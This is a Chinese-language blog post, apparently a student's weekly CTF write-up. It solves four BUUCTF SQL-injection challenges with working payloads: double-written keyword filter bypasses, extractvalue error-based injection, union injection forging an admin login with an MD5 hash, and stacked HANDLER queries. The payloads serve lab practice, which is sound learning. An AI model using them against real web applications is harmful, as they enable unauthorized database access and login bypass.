2021-01-11

原创

apple_51805238 于 2021-01-17 16:19:16 发布 34 收藏

文章标签： 安全

本文链接：https://blog.csdn.net/apple_51805238/article/details/112499857

傅程晖第二周得wp

1.11

【Buuctf】[极客大挑战 2019]BabySQL

还是按之前的万能密码1' or 1=1 #，结果发现不行，看了文章之后知道原来是后端用了replace（），然后尝试双写去代替所屏蔽的关键词来联合查询

```
username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
```

通过回显2和3位置，然后利用database（）来爆库得知库名geek 然后

```
username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
```

来爆所有数据库名可以发现ctf什么的

```
username=admin&password=1 %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" %23
```

然后直接打开ctf的表

```
 ?username=admin&password=1 %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
```

得到了password：Flag，查Flag表中的字段名都有什么

```
username=admin&password=1%27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
 table_name="Flag"%23
```

然后就得到了password：flag
最后就查一下ctf库中Flag表中的flag字段

```
username=admin&password=1 %27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
 table_name="Flag"%23
```

就可以得到flag{''}了

1.12

【buuctf】 极客大挑战 hardsql

常规注入不行union也不行
使用extractvalue和updatexml进行报错注入
题目还过滤了空格和and
可以使用^来连接函数利用extractvalue（）
payload：

```
username=1&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23
```

查到了geek
然后查表名
payload：

```
username=1&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables))))%23
```

查询geek库里面的表因为等号被过滤所以用like代替
payload：

```
username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23
```

得到H4rDsq1然后继续查

```
username=44&password=1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23
```

得到id，password，username，然后payload：

```
username=44&password=1'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23
```

然后就得到了一部分flag，就需要用到left（）和right（）函数来继续找全flag

```
username=44&password=1%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
```

像这样，就是改变password长度就可以了

1.14

【buu平台】[GXYCTF2019]BabySQli

看见源代码里面又东西然后，就去试解码器，发现base32解一次然后base64解就能出来
（base32是全部由大写字母和数字构成，或者其结尾有三个等号base64则是由大小写字母和数字一起构成。）
select * from user where username = '$name'表示查询规则
然后在用户名处，通过联合注入，写入我们想要的信息，以达到登录成功。随便输入一个信息，用burp抓一下包，然后payload:

```
name=1' union select 0,'admin','81dc9bdb52d04dc20036dbd8313ed055'%23&pw=1234
```

其中81dc9bdb52d04dc20036dbd8313ed055是1234对应的MD5加密的值

1.15

[强网杯 2019]随便注

先用万能密码试一下1’ or 1=1#
然后order by 3#时候就不行了说名字段有两个
1’ union select 1,2#回显了解到这个利用正则表达式过滤掉了常用字段
然后用1‘ show tables;#,正常回显并且有两张表，words和1919810931114514
存在两张表，分别看一下里面的内容

```
0’;show columns from words;#
```

然后直接利用headler命令查询

```
1';handler `1919810931114514` open;handler `1919810931114514` read first#
```

注入即可得到flag